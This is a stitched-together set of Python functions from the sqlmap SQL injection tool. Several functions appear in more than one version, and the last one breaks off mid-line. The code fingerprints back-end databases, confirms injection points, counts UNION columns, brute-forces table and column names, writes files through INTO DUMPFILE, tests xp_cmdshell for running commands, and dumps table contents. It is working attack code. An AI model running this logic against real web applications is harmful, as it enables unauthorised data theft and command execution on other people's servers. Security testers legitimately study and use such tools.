def setHandler(): """ Detect which is the target web application back-end database management system. """ count = 0 dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" ) dbmsObj = [ ( MYSQL_ALIASES, MySQLMap, MySQLConn ), ( ORACLE_ALIASES, OracleMap, OracleConn ), ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ), ( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ), ( SQLITE_ALIASES, SQLiteMap, SQLiteConn ), ( ACCESS_ALIASES, AccessMap, AccessConn ), ( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ), ( MAXDB_ALIASES, MaxDBMap, MaxDBConn ), ( SYBASE_ALIASES, SybaseMap, SybaseConn ), ] if Backend.getIdentifiedDbms() is not None: for i in xrange(len(dbmsObj)): dbmsAliases, _, _ = dbmsObj[i] if Backend.getIdentifiedDbms().lower() in dbmsAliases: if i > 0: pushValue(dbmsObj[i]) dbmsObj.remove(dbmsObj[i]) dbmsObj.insert(0, popValue()) break for dbmsAliases, dbmsMap, dbmsConn in dbmsObj: if conf.dbms and conf.dbms not in dbmsAliases: debugMsg = "skipping test for %s" % dbmsNames[count] logger.debug(debugMsg) count += 1 continue handler = dbmsMap() conf.dbmsConnector = dbmsConn() if conf.direct: logger.debug("forcing timeout to 10 seconds") conf.timeout = 10 conf.dbmsConnector.connect() if handler.checkDbms(): conf.dbmsHandler = handler break else: conf.dbmsConnector = None # At this point back-end DBMS is correctly fingerprinted, no need # to enforce it anymore Backend.flushForcedDbms()
def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") fcEncodedList = self.fileEncode(wFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen warnMsg += "bytes, this might cause errors in the file " warnMsg += "writing process" logger.warn(warnMsg) debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile) logger.debug(debugMsg) pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile) unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) return self.askCheckWrittenFile(wFile, dFile, forceCheck)
def goError(expression, suppressOutput=False, returnPayload=False): """ Retrieve the output of a SQL query taking advantage of an error-based SQL injection vulnerability on the affected parameter. """ result = None if suppressOutput: pushValue(conf.verbose) conf.verbose = 0 if conf.direct: return direct(expression), None condition = ( kb.resumedQueries and conf.url in kb.resumedQueries.keys() and expression in kb.resumedQueries[conf.url].keys() ) if condition: result = resume(expression, None) if not result: result = errorUse(expression, returnPayload) if not returnPayload: dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(result))) if suppressOutput: conf.verbose = popValue() return result
def heuristicCheckDbms(injection): retVal = None pushValue(kb.injection) kb.injection = injection randStr1, randStr2 = randomStr(), randomStr() for dbms in getPublicTypeMembers(DBMS, True): Backend.forceDbms(dbms) if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if not checkBooleanExpression( "(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2) ): retVal = dbms break Backend.flushForcedDbms() kb.injection = popValue() if retVal: infoMsg = ( "heuristic (extended) test shows that the back-end DBMS " ) # not as important as "parsing" counter-part (because of false-positives) infoMsg += "could be '%s' " % retVal logger.info(infoMsg) return retVal
def heuristicCheckDbms(injection): retVal = None if not Backend.getIdentifiedDbms() and len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: pushValue(kb.injection) kb.injection = injection randStr1, randStr2 = randomStr(), randomStr() for dbms in getPublicTypeMembers(DBMS, True): Backend.forceDbms(dbms) if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): retVal = dbms break Backend.flushForcedDbms() kb.injection = popValue() if retVal: infoMsg = "heuristic test showed that the back-end DBMS " infoMsg += "could be '%s' " % retVal logger.info(infoMsg) return retVal
def columnExists(columnFile): if not conf.tbl: errMsg = "missing table parameter" raise sqlmapMissingMandatoryOptionException, errMsg columns = getFileItems(columnFile) if conf.db and '(*)' not in conf.db: table = "%s.%s" % (conf.db, conf.tbl) else: table = conf.tbl retVal = [] infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) pushValue(conf.verbose) conf.verbose = 0 count = 0 length = len(columns) for column in columns: query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s)", (column, table))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query)) if result: infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), column) infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg))) dataToStdout(infoMsg, True) retVal.append(column) count += 1 status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%') dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True) conf.verbose = popValue() dataToStdout("\n", True) if not retVal: warnMsg = "no column found" logger.warn(warnMsg) else: columns = {} for column in retVal: query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s WHERE %s>0)", (column, table, column))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query)) if result: columns[column] = 'numeric' else: columns[column] = 'non-numeric' kb.data.cachedColumns[conf.db] = {conf.tbl: columns} return kb.data.cachedColumns
def setHandler(): """ Detect which is the target web application back-end database management system. """ count = 0 dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" ) dbmsMap = [ ( MYSQL_ALIASES, MySQLMap, MySQLConn ), ( ORACLE_ALIASES, OracleMap, OracleConn ), ( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ), ( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ), ( SQLITE_ALIASES, SQLiteMap, SQLiteConn ), ( ACCESS_ALIASES, AccessMap, AccessConn ), ( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ), ( MAXDB_ALIASES, MaxDBMap, MaxDBConn ), ( SYBASE_ALIASES, SybaseMap, SybaseConn ), ] if kb.htmlFp: for i in xrange(len(dbmsMap)): dbmsAliases, _, _ = dbmsMap[i] if kb.htmlFp[-1].lower() in dbmsAliases: if i > 0: pushValue(dbmsMap[i]) dbmsMap.remove(dbmsMap[i]) dbmsMap.insert(0, popValue()) break for dbmsAliases, dbmsMap, dbmsConn in dbmsMap: if conf.dbms and conf.dbms not in dbmsAliases: debugMsg = "skipping test for %s" % dbmsNames[count] logger.debug(debugMsg) count += 1 continue kb.misc.handler = handler = dbmsMap() conf.dbmsConnector = dbmsConn() if conf.direct: logger.debug("forcing timeout to 10 seconds") conf.timeout = 10 conf.dbmsConnector.connect() if handler.checkDbms(): if not conf.dbms or conf.dbms in dbmsAliases: kb.dbmsDetected = True conf.dbmsHandler = handler return else: conf.dbmsConnector = None
def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) """ retVal = injection if len(injection.data) == 1 and any(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED]))\ or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])): # or len(injection.data) == 1 and 'Generic' in injection.data.values()[0].title and not Backend.getIdentifiedDbms(): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place infoMsg += "parameter '%s' is a false positive" % injection.parameter logger.info(infoMsg) def _(): return int(randomInt(2)) + 1 kb.injection = injection # Simple arithmetic operations which should show basic # arithmetic ability of the backend if it's really injectable for i in xrange(1 + conf.level / 2): randInt1, randInt2, randInt3 = (_() for j in xrange(3)) # Just in case (also, they have to be different than 0 because of the last test) while randInt1 == randInt2: randInt2 = _() if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)): retVal = None break elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))): retVal = None break elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)): retVal = None break elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)): retVal = None break if retVal is None: warnMsg = "false positive or unexploitable injection point detected" logger.warn(warnMsg) if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: if all(_.__name__ != "between" for _ in kb.tamperFunctions): warnMsg = "there is a possibility that the character '>' is " warnMsg += "filtered by the back-end server. You can try " warnMsg += "to rerun with '--tamper=between'" logger.warn(warnMsg) kb.injection = popValue() return retVal
def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output through inband SQL injection (if selected) and/or blind SQL injection (if selected). """ if suppressOutput: pushValue(conf.verbose) conf.verbose = 0 if conf.direct: value = direct(expression) else: expression = cleanQuery(expression) expression = expandAsteriskForColumns(expression) value = None expression = expression.replace("DISTINCT ", "") if error and conf.errorTest: value = goError(expression) if not value: warnMsg = "for some reason(s) it was not possible to retrieve " warnMsg += "the query output through error SQL injection " warnMsg += "technique, sqlmap is going %s" % ("inband" if inband and kb.unionPosition is not None else "blind") logger.warn(warnMsg) if inband and kb.unionPosition is not None and not value: value = __goInband(expression, expected, sort, resumeValue, unpack, dump) if not value: warnMsg = "for some reason(s) it was not possible to retrieve " warnMsg += "the query output through inband SQL injection " warnMsg += "technique, sqlmap is going blind" logger.warn(warnMsg) oldParamFalseCond = kb.unionFalseCond oldParamNegative = kb.unionNegative kb.unionFalseCond = False kb.unionNegative = False if blind and not value: value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar) kb.unionFalseCond = oldParamFalseCond kb.unionNegative = oldParamNegative if value and isinstance(value, basestring): value = value.strip() if suppressOutput: conf.verbose = popValue() return value
def __findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO for count in range(lowerCount, upperCount+1): query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix, conf.uChar) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, _ = Request.queryPage(payload, place=place, content=True, raise404=False) ratio = comparison(page, True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) deviation = stdev(ratios) if abs(max_ - min_) < MIN_STATISTICAL_RANGE: return None lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target url appears to be UNION injectable with %d columns" % retVal logger.info(infoMsg) return retVal
def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) """ retVal = injection if ( len(injection.data) == 1 and any( map( lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED], ) ) or len(injection.data) == 2 and all(map(lambda x: x in injection.data, [PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED])) or len(injection.data) == 1 and "Generic" in injection.data.values()[0].title and not Backend.getDbms() ): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place infoMsg += "parameter '%s' is a false positive" % injection.parameter logger.info(infoMsg) def _(): return int(randomInt(2)) + 1 kb.injection = injection randInt1, randInt2, randInt3 = (_() for i in xrange(3)) # Just in case (also, they have to be different than 0 because of the last test) while randInt1 == randInt2: randInt2 = _() # Simple arithmetic operations which should show basic # arithmetic ability of the backend if it's really injectable if not checkBooleanExpression("(%d+%d)=%d" % (randInt1, randInt2, randInt1 + randInt2)): retVal = None elif checkBooleanExpression("%d>(%d+%d)" % (min(randInt1, randInt2), randInt3, max(randInt1, randInt2))): retVal = None elif checkBooleanExpression("(%d+%d)>%d" % (randInt3, min(randInt1, randInt2), randInt1 + randInt2 + randInt3)): retVal = None elif not checkBooleanExpression("%d=(%d+%d)" % (randInt1 + randInt2, randInt1, randInt2)): retVal = None if retVal is None: warnMsg = "false positive or unexploitable injection point detected" logger.warn(warnMsg) kb.injection = popValue() return retVal
def checkSuhosinPatch(injection): """ Checks for existence of Suhosin-patch (and alike) protection mechanism(s) """ if injection.place == PLACE.GET: pushValue(kb.injection) kb.injection = injection randInt = randomInt() if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): warnMsg = "parameter length constraint " warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "Potential problems in enumeration phase can be expected" logger.warn(warnMsg) kb.injection = popValue()
def tableExists(tableFile): tables = getFileItems(tableFile) retVal = [] infoMsg = "checking table existence using items from '%s'" % tableFile logger.info(infoMsg) pushValue(conf.verbose) conf.verbose = 0 count = 0 length = len(tables) for table in tables: if conf.db and '(*)' not in conf.db: table = "%s.%s" % (conf.db, table) query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %d FROM %s)", (randomInt(1), table))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query)) if result: infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), table) infoMsg = "%s%s\n" % (infoMsg, " "*(getConsoleWidth()-1-len(infoMsg))) dataToStdout(infoMsg, True) retVal.append(table) count += 1 status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%') dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True) conf.verbose = popValue() dataToStdout("\n", True) if not retVal: warnMsg = "no table found" logger.warn(warnMsg) else: for item in retVal: if not kb.data.cachedTables.has_key(conf.db): kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) return kb.data.cachedTables
def search(dork): pushValue(kb.redirectChoice) kb.redirectChoice = REDIRECTION.YES try: return _search(dork) except SqlmapBaseException, ex: if conf.proxyList: logger.critical(getSafeExString(ex)) warnMsg = "changing proxy" logger.warn(warnMsg) conf.proxy = None setHTTPHandlers() return search(dork) else: raise
def __xpCmdshellTest(self): threadData = getCurrentThreadData() pushValue(threadData.disableStdOut) threadData.disableStdOut = True logger.info("testing if xp_cmdshell extended procedure is usable") output = self.evalCmd("echo 1") if isNoneValue(output): errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath() errMsg += "storing console output within the back-end file system " errMsg += "does not have writing permissions for the DBMS process. " errMsg += "You are advised to manually adjust it with option " errMsg += "--tmp-path switch or you will not be able to retrieve " errMsg += "the commands output" logger.error(errMsg) else: logger.info("xp_cmdshell extended procedure is usable") threadData.disableStdOut = popValue()
def unionTest(comment, place, parameter, value, prefix, suffix): """ This method tests if the target URL is affected by an union SQL injection vulnerability. The test is done up to 3*50 times """ if conf.direct: return negativeLogic = kb.negativeLogic kb.technique = PAYLOAD.TECHNIQUE.UNION try: if negativeLogic: pushValue(kb.negativeLogic) pushValue(conf.string) pushValue(conf.code) kb.negativeLogic = False conf.string = conf.code = None validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) finally: if negativeLogic: conf.code = popValue() conf.string = popValue() kb.negativeLogic = popValue() if validPayload: validPayload = agent.removePayloadDelimiters(validPayload) return validPayload, vector
def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) pushValue(conf.db) pushValue(conf.tbl) pushValue(conf.col) conf.db = None conf.tbl = None conf.col = None kb.data.cachedTables = {} kb.data.cachedColumns = {} self.getTables() infoMsg = "fetched tables: " infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): for tbl in tables: conf.db = db conf.tbl = tbl self.getColumns() conf.col = popValue() conf.tbl = popValue() conf.db = popValue() return kb.data.cachedColumns
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None @stackedmethod def _orderByTechnique(lowerCount=None, upperCount=None): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount found = None while not found: if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found try: pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # ORDER BY is not bullet-proof found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")): contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] if len(contains) == 1: retVal = contains[0] break if not retVal: if min_ in ratios: ratios.pop(ratios.index(min_)) if max_ in ratios: ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(_ == min_ and _ != max_ for _ in ratios): retVal = maxItem[0] elif all(_ != min_ and _ == max_ for _ in ratios): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) if deviation is not None: lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] finally: kb.errorIsNone = popValue() if retVal: infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg)) return retVal
def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output through inband SQL injection (if selected) and/or blind SQL injection (if selected). """ kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = expression[len("SELECT "):] else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: if expected == EXPECTED.BOOL: value = direct(forgeCaseExpression) else: value = direct(expression) elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False if query and not 'COUNT(*)' in query: query = query.replace("DISTINCT ", "") count = 0 if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION if expected == EXPECTED.BOOL: value = __goInband(forgeCaseExpression, expected, unpack, dump) else: value = __goInband(query, expected, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if expected == EXPECTED.BOOL: value = __goError(forgeCaseExpression, expected, dump) else: value = __goError(query, expected, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, expected, batch, unpack, charsetType, firstChar, lastChar, dump) if value and isinstance(value, basestring): value = value.strip() else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise sqlmapNotVulnerableException, errMsg finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' and/or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True, dumpMode=True) else: kb.data.cachedColumns = foundData try: kb.dumpTable = "%s.%s" % (conf.db, tbl) if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or safeSQLIdentificatorNaming(tbl, True) not in \ kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(filter(None, columns.keys())) if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, blind=False) if retVal: entries, _ = retVal entries = zip(*[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = whereQuery(query) if not entries and query: entries = inject.getValue(query, blind=False, time=False, dump=True) if not isNoneValue(entries): if isinstance(entries, basestring): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()} for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))) maxLen = max(len(column), _) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen kb.data.dumpedTable[column]["values"].append(colEntry) if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() 